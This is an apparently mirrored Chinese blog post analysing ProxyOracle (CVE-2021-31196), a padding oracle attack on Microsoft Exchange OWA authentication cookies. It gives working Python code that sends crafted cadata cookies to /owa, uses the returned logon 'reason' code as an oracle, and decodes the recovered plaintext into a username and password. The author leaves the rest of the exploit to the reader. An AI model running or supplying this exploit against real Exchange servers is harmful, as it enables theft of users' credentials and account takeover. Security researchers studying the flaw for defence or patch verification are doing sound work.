4

ProxyOracle利用分析2——CVE-2021-31196

 2 years ago
source link: https://3gstudent.github.io/ProxyOracle%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%902-CVE-2021-31196
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

ProxyOracle利用分析2——CVE-2021-31196

20 Aug 2021

0x00 前言

在上篇文章《ProxyOracle利用分析1——CVE-2021-31195》介绍了获得用户Cookie信息的思路,本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令

0x01 简介

本文将要介绍以下内容:

  • 部分开源代码

0x02 实现思路

实现Padding Oracle Attack的前提条件:

1.获得密文和密文对应的IV(初始化向量) 2.能够触发密文的解密过程,且能够知道密文的解密结果

对应到Exchange上面,具体信息如下:

(1)获得密文和密文对应的IV(初始化向量)

Cookie信息中的cadata对应密文,cadataIV对应IV

(2)能够触发密文的解密过程,且能够知道密文的解密结果

我们通过dnsSpy反编译dll能够获得详细的解密过程,方法如下:

使用dnsSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll

依次定位到Microsoft.Exchange.HttpProxy -> FbaModule -> ParseCadataCookies(HttpApplication httpApplication)

Alt text

得到触发密文解密过程的方法:

访问https://<url>/owa,发送GET数据包,Cookie中需要包含cadata、cadataTTL、cadataKey、cadataIV和cadataSig

密文解密结果的判断:

发送GET数据包后,默认进行302跳转,并在响应内容中标记是否解密成功

解密结果可以通过查看LogonReason的定义进行判断

Alt text

从这里看出,0代表None,这里为格式错误,1代表Logoff,2代表InvalidCredentials,3代表Timeout,4代表ChangePasswordLogoff

我们在尝试解密时,当reason=2,代表解密成功

当reason=3时,代表Cookie已过期,此时无法实现Padding Oracle Attack

注:

Exchange的Cookie有效期为12小时

0x03 部分开源代码

1.破解第0个分组的第8个字节

Python实现的完整示例代码如下:

#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()


def checkFirstByte(url, flag):
    url1 = "https://" + url + "/owa/"    
    cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
    cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
    cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
    cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
    cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="

    cipher = base64.b64decode(cadata)
    bs = 16
    if len(cipher) % bs != 0:
        raise ValueError("The length of `cipher` must be a multiple of `bs`")

    cipher_blocks = []
    for i in range(0, len(cipher), bs):
        cipher_blocks.append(cipher[i: i + bs])

    bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag]) 
    bytecadata = bytetempdata + cipher_blocks[1]
    base64cadata = base64.b64encode(bytecadata).decode()

    cookie = {
        "cadata": base64cadata,
        "cadataTTL": cadataTTL,
        "cadataKey": cadataKey,
        "cadataIV": cadataIV,
        "cadataSig": cadataSig,
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)

    if response.status_code == 302 and "reason" in response.text:
        pattern_name = re.compile(r"reason=(.*?)\">here")
        name = pattern_name.findall(response.text)
        print(name[0], end='')
        if name[0] == "2":
            print("\ndecrypt:")
            print(bytecadata)
            sys.exit(0)
        else:
            return False

if __name__ == "__main__":
    for flag in range(0, 256):
        checkFirstByte("192.168.1.1", flag)        

这里需要注意以下细节:

(1)0x00至0xFF遍历

for i in range(0, 256):
    i = bytes([i])
    print(i)

(2)密文分组

分组长度为16

(3)发送GET请求时设置allow_redirects=False来禁用跳转

2.由填充明文到实际明文

在我们完成整个Padding Oracle Attack后,会得到一段填充的明文

由填充明文到实际明文的完整示例代码如下:

#python3
import base64
import re

def unpad(s):
    exe = re.findall("..", s.hex())
    padding = int(exe[-1], 16)
    exe = exe[::-1]

    if padding == 0 or padding > 16:
        return 0

    for i in range(padding):
        if int(exe[i], 16) != padding:
            return 0
    return s[: -ord(s[len(s) - 1 :])]


decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()

print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])

代码执行结果如下图

Alt text

这里需要注意以下细节:

(1)得到填充明文后需要使用PKCS7进行数据填充

(2)实际明文的格式为usename:password

虽然明文的前两字节无法破解,导致用户名显示不完整,但这不会造成影响,因为我们拿到的Cookie信息中,”lgn”显示了完整了用户名称

0x04 小结

本文介绍了通过Padding Oracle Attack还原出用户明文口令的方法,关键代码已开源,剩余的部分留给读者自行完成。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK